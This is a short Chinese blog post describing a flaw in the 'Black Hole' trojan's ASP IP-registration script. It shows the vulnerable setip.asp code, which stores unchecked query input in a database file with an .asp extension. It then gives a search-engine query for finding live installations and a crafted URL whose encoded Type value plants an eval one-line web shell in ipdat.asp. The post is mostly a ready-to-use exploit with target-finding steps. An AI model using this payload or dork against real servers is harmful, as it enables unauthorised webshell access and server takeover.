黑洞的ASP上线系统的一个漏洞

作者:toby57

在默认的情况下,利用该漏洞可得到上线系统所在服务器的webshell
ASP上线系统中保存上线IP信息的数据库的扩展名默认为asp
写入配置时对参数未作检查,setip.asp相关代码

<%
strIP=Trim(Request.QueryString("Ip"))
strPort=Trim(Request.QueryString("Port"))
strType=Trim(Request.QueryString("Type"))

if strType="0" then
strIP=Request.ServerVariables("REMOTE_HOST")
end if

sql="select * from Info where strMark='Main'"
rs.Open sql,conn,1,3
if not rs.eof or not rs.bof then
rs("strIPAddress")=strIP
rs("strPort")=strPort
rs("strType")=strType
rs.update
'不要修改下面的反馈字符.否则程序不知道是否更新成功.
response.write "update success!"
else
response.write "update fail!"
end if
set rs=nothing
conn.close
set conn=nothing

以“inurl:setip.asp”为关键字找了一个测试地址http://xxx.com/blackhole/setip.asp

提交
http://xxx.com/blackhole/setip.asp?Type=%A9%E0%B0Y%CE%DB%A0%84%9F%A8%94%B3%AC%9B%A1%C5%A1%D4%A9%CD%90%F7

这样就插入了EVAL一句话
ipdat.asp

相关日志

楼被抢了 5 层了... 抢座Rss 2.0或者 Trackback

发表评论